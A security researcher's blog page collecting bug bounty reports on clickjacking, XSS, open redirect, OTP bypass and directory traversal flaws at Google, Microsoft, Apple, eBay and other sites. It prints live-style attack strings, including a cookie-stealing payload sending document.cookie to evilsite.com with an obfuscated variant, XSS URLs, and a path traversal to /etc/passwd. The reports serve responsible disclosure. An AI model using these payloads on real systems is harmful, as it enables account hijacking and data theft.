[Writeup] How i bypassed XFrame options protection at Google Books

Hi There,

This is an long delayed writeup, i had reported this vulnerability around the month of march this year, but didn't realized that the bug was fixed until now.

Let's get started,

Abstract:

Google Books has implemented X-Frame-Options header for protection against ClickJacking attack.
I was able to bypass this protection and clickjack Google Books Dashboard.

Background:

So on one good evening when i was checking out some books on Google i came across this preview page which for some strange reason looked vulnerable to me and i started testing it out.

 While testing the webpage i found that Google allows it's books to be embedded into another webpage by using an embed code.

This is an example embed code  

<iframe frameborder="0" scrolling="no" style="border:0px" src="https://books.google.co.in/books?id=YJKbVzeabJYC&lpg=PP1&dq=web%20application%20hackers&pg=PP1&output=embed" width=500 height=500></iframe>

 By reading the code one could easily tell that the X-Frame-Options header protection will be turned off for the IFrame Source URL to make it framable on another webpage.

The HTTP response headers of the embed code is.

By comparing the framable URL with the original Google eBook URL, I found an interesting parameter output=embed

Original webpage URL 
https://books.google.co.in/books?id=YJKbVzeabJYC&printsec=frontcover&dq=web+application+hackers&hl=en&sa=X&redir_esc=y#v=onepage&q&f=false

 Framable URL
 https://books.google.co.in/books?id=YJKbVzeabJYC&lpg=PP1&dq=web%20application%20hackers&pg=PP1&output=embed

Using this parameter Google was removing X-Frame-Options and making a book framable.

Now the question is will this parameter remove X-Frame-Options from any other webpage and make it framable?

Answer: Yes

HTTP Response of Google books Dashboard

HTTP Response of Google books Dashboard with output=embed parameter

Impact: Just by making 2 clicks on Proof-of-Concept webpage all books from your bookshelf could be deleted.

Reward: $500

Thanks for Reading :)

Read More

[Writeup] How i prevented a bank from getting robbed

This story is about a loophole in an Online Banking website which could have allowed an attacker to steal funds from any customer account. After discovering this issue i immediately got in touch with the bank's security team and coordinated till a patched for this loophole was released. In this writeup i can't share the exact technical details about how i exploited the issue on the target website but i can give you a generalized idea of what went wrong and how it could have been exploited. 

Abstract: 
There was a bug in the forget password module of a netbanking website by exploiting which an attacker could have updated any customer's netbanking account password to his desired value.

To understand the exploit, we first need to understand how password recovery works on the target bank's website.

Here is normal flow of password recovery process which can be initiated by visiting the forget password page:

To recover a forgotten password on the netbanking website a customer has to follow this following process:

Step 1: Identify account using customer id.
Step 2: Submit an OTP( One Time Password) which will be sent via SMS & Email.
Step 3: Set a new password.

After following this process customer's password will be updated.

During my research, I found out that the webpage at "Step 3" was not validating if the customer has completed "Step 2" (OTP Verification).

The Exploit:

To exploit this issue and attacker has to complete "Step 1" -> Generate a Session ID -> Submit this Session ID to "Step 3" endpoint along with the new password which wants to be set for the account.

After making the post request the customer's netbanking password will be updated. Since the customer ID's on the netbanking website were numerical an attacker could have made an script that will reset every netbanking account's password and transfer funds out of it. 

At the end of the day this incident was a good test of my hacker ethics and taught me lessons which i will carry on throught my life. 

Thanks for reading & hack for good :)

Read More

[Vulnerability Report] Persistent XSS at Jotform

Persistent XSS @ Developers section

Vulnerable Service: https://developers.jotform.com

Description: The service mentioned above is vulnerable to Persistent XSS, due to which an attacker is able to steal user cookies which may lead to account hijacking.

Demo XSS thread:
https://developers.jotform.com/forum/post/<Removed>
- Click on "For Testing Purposes" to see the alert message.

Payload: javascript:alert('I_Am_Vulnerable_To_XSS');

Steps of Reproduction:
-Create a new thread & in thread editor click "Add hyperlink" button.
-Now instead of URL, paste payload there.
-"http://" will be automatically added to the payload, you need to remove that.

Proof of Concept:

Bounty:

Read More

[Vulnerability Report] Non-persistent XSS at Microsoft

 I had found a reflected XSS issue Microsoft, below is the report.

------------------- Email starts here -------------------

Vulnerability Type: Non Persistent XSS

Abstract: The affected url is vulnerable to Non-persistent XSS due to which an attacker is able to take over Microsoft account of logged in user.

Affected Url: https://www.microsoft.com/en-us/research/search/?q=<script>;prompt()<script>

Payload: <script>;prompt()</script>

Vulnerability Impact Senario: With Non Persistent Cross Site Scripting(XSS) an attacker can create custom URL with cookie stealing code on visiting which a user's cookie can be stolen and his account can be hijacked.

Vulnerability Reproduction Steps(POC):

1. Visit the URL "https://www.microsoft.com/en-us/research/search/?q="
2. With the parameter "q=" we can inject our payload.

Brief description of the issue:

This vulnerability is caused due to validation present only on the Search textbox present on the webpage. And no validation is present if we provide the same malicious HTML payload directly through the URL.

Proof of Concept:

Hall Of Fame:

Read More

[Vulnerability Report] Open Redirect on multiple subdomains of Intel

 

 

 

 

------------------- Original Message -------------------

 

Vulnerablility Type: Open Redirect ( https://www.owasp.org/index.php/Open_redirect )

 

Vulnerable URL:  

                            

https://communities.intel.com/terms-and-conditions!input.jspa?url=http://evilsite.com

https://<private>.intel.com/external-link.jspa?url=http://evilsite.com

 

Summary: An open redirect is an application that takes a parameter and redirects a user to the parameter value without any validation. This vulnerability is used in phishing attacks to get users to visit malicious sites without realizing it.

 

In the URL described above the parameter url= is vulnerable to open redirect. An attacker is able to provide a custom URL where the victim will be redirected. An attacker can impersonate his malicious URL as Intel's

 

 

 

Read More

[Vulnerability Report] Non-Persistent XSS on Beats By Dre

---------Following is the email which i had sent to Apple Product Security----------

Vulnerability type: Non-Persistent XSS

Affected URL: https://tempo.api.beatsbydre.com/v1/login/?return=%22%3E%3C/form%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E

Attack Scenario: An attacker is able to trick an authenticated user into visiting a malicious URL,
which is capable of stealing user's session and take over his apple account.

Best Regards
 Amit Kumar
cse@engineer.com
-------------------------------------------------------------------------------------------------------------------------

Preview:
 

 

Read More

[Vulnerability Report] Persistent XSS on Microsoft.com

Report: Get your Microsoft account hijacked by simply clicking connect button

The following is my report on a serious vulnerability which I had discovered on Microsoft.com, for which I was also awarded a place at Microsoft Hall of Fame.

------------------Following is the email which I had sent to MSRC------------------

Amit Kumar <cse@engineer.com> wrote:

Hello, My name is Amit Kumar I am a security researcher, The following is my report on a medium-high risk vulnerability which is present on Microsoft's social profile page.

Test Account: MSOBBcse@outlook.com  

Vulnerability Type: Persistent XSS

Affected URL: https://social.microsoft.com/Profile/MSOBB_Test_Account
https://social.msdn.microsoft.com/Profile/MSOBB_Test_Account

Abstract: The affected URL is vulnerable to persistent XSS due to which an attacker is able to hijack user account sessions.

Scope: Social Connect buttons( Twitter, Facebook, LinkedIn, XING ) of affected URL.

Risk Level: Medium-High

Vulnerability Impact Scenario: A user visits an affected profile, and clicks the facebook icon under contact section after which he is redirected to attacker's facebook profile which is normal for the user. But in the backend, his session cookies were sent as a get request to the attacker's webserver where they were stored, after that the user was redirected to the attacker's facebook profile as he was expecting.

Payload: javascript:location.href=("http://evilsite.com?q.php?cookie="+document.cookie)

Obfuscated Payload: javascript:/*http://facebook.com/profile.php?id=6735824l987&
redirect=*/location.href%3D%28%22http%3A%2f%2fevilsite.com%3Fq.php%3Fcookie%3D%22%2bdocument.cookie%29
(Contains noise and obsfucated code so that a normal user is not able to identify the malicious code by just hovering over the social buttons)

Tools Used:
Firefox +Addon: TamperData
Note: Screenshots are included in the attachments.

Vulnerability Reproduction Steps(POC):

1. Visit the URL "https://social.microsoft.com/Profile/u/edit"

2. Add facebook profile URL such as, "http://facebook/com/demouser"

3. Open TamperData and click "Start Tampering", after that click "submit" on the edit page.

4. Tamper the post request sent by the following url:    "https://social.microsoft.com/Profile/u/edit?displayName=MSOBB_Test_Account"

5. Modify the following post parameter:    name="SocialLink_Facebook"\r\n\r\nhttp://facebook/com/demouser\r\n--------    and replace it by our Payload(Mentioned Above)

6. Open TamperData and click "Stop Tampering" .

7. Now our malicious javascript code is embedded with our social profile button.

8. Now attack will be performed whenever some user tries to connect with us through our social profile buttons.

Brief description of the issue: The vulnerability i am reporting is caused due to only client side and no server side input validation of the social profile link at the Affected URL, by modifying the http headers of the post request an attacker is able to provide his own custom malicious code in place of the social profile URL which can be used to capture the session cookies of the logged in user.

By capturing the session cookies an attacker is able to completely take over the user&apos;s microsoft account and most of his microsoft connected services (Tested with Outlook)

During my research i have also discovered that the Microsoft Social homepage(https://social.microsoft.com/Profile/) shows a leaderboard of Most Active Contributors. These contributors get visited daily by mass amount of users, if an attacker is able to get his malicious profile on the list then a large amount of users can be affected by this vulnerability which is a very serious issue and a cause of concern. My suggestion is to patch this vulnerability as soon as possible before it gets discovered by some cracker and gets exploited.

Let me know if you require any other information, i will be happy to assist.
Regards
Amit Kumar(Ak)
cse@engineer.com
-------------------------------------End of eMail-------------------------------------
Proof of Concept:





Hall of Fame:

Read More

[Vulnerability Report] Non-Persistent XSS on eBay.com

The following is my report on a serious vulnerability which i had discovered on eBay .com, for which i was also awarded a place at eBay Hall of Fame.

---Following is the email which i had sent to eBay Security Team---

Vulnerability Type: Non Persistent XSS 

Scope URL: http://cgi6.ebay.com/ws/eBayISAPI.dll-SolutionsDirectory 

Proof-of-Concept URL: http://cgi6.ebay.com/ws/eBayISAPI.dll-MfcISAPICommand=SolutionsDirectory&page=results&sort=noSort&searchText=%22]}%3B%3C%2Fscript%3E%3C%2Ftd%3E%3C%2Ftr%3E%3CBODY+ONLOAD%3Dalert%28%22XSS-By-Ak%22%29%3E%3B&Submit=Search+Directory+ 

Vulnerability Reproduction Steps(POC): 

1. Visit the Scope URL as mentioned above. 

2. Enter the following payload in the search field: "]};; <script>alert("XSS-By-Ak" )</script>

3. After the search our URL becomes the same as POC URL which delivers the XSS alert payload "XSS-By-Ak" 

System Details: Firefox 41 on windows 8.1 

Let me know if you require any other information, i will be happy to assist. 

Regards 

Amit Kumar(Ak) 

cse@engineer.com

-------------------------------------End of eMail------------------------------------- 

Acknowledgement:

Read More

[Vulnerability Report] Directory Traversal Attack in subdomain of Apple.com

Report: Apple flaw that leads to sensitive file disclosure

The following is my report on a serious vulnerability which I had discovered on one of the apple.com's subdomains for which I was also awarded a place at Apple Hall of Fame.

------------------Following is the email which I had sent to Apple------------------

Vulnerability Type: Directory Traversal Attack

Abstract: I have discovered one of the apple.com's subdomains vulnerable to directory traversal attack which allows a remote attacker to access sensitive files saved on the webserver that was not intended to be accessible by an unprivileged user.

Scope: http://consultants.apple.com

Risk Level: High

Vulnerability Description:  Directory traversal is a type of HTTP exploit that is used by attackers to gain unauthorized access to restricted directories and files. Directory traversal attacks use web server software to exploit inadequate security mechanisms giving them root access to directories and files stored on the webserver.

Affected URL: https://consultants.apple.com/publicLocator/downloadProfile/downloadProfile?execution=e1s1&id=%2Fimages%2FpublicLocator%2FPDF_RequirementstoJoin_ACN_May2015.pdf  

Vulnerability Impact Scenario: 
A remote attacker is able to download critical files from apple's webserver such as /etc/passwd, configuration files and log files which may result in "Sensitive Information Disclosure" and may also allow the attacker to carry out further attacks on the system using the information gathered through this vulnerability.

Vulnerability Reproduction Steps(POC):
 
1. Visit the Affected URL as mentioned above.

2. Modify the following parameter " e1s1&id=%2Fimages%2FpublicLocator%2FPDF_RequirementstoJoin_ACN_May2015.pdf " with " ../../../../../../../etc/passwd "

3. So our final URL becomes " https://consultants.apple.com/publicLocator/downloadProfile/downloadProfile?execution=e1s1&id=../../../../../../../etc/passwd "

4. The final URL which we have generated allows us to traverse /root directory of the webserver and as a POC(Proof Of Concept) we can see that URL which we have generated allows us to view the /etc/passwd file of the system.   


Brief description of the issue:    The vulnerability i am reporting is known as Directory Traversal Attack which is caused due to poor input validation in the Affected URL, the following parameter of the affected URL "id=" accepts path of the file to be downloaded, but due to insufficient security validation/sanitization of user-supplied input file names we can provide custom queries and traverse up to the root directory of the webserver using "../" (Go Up).

Directory Traversal Attack is a serious vulnerability which is capable of compromising the entire web server, not just the single subdomain which I have reported but all the websites which are hosted on the same server. My suggestion is to patch this vulnerability as soon as possible before it gets discovered by some cracker and gets exploited.

Let me know if you require any other information, I will be happy to assist.

Regards
Amit Kumar(Ak)
cse@engineer.com
-------------------------------------End of eMail-------------------------------------

Acknowledgement:

Read More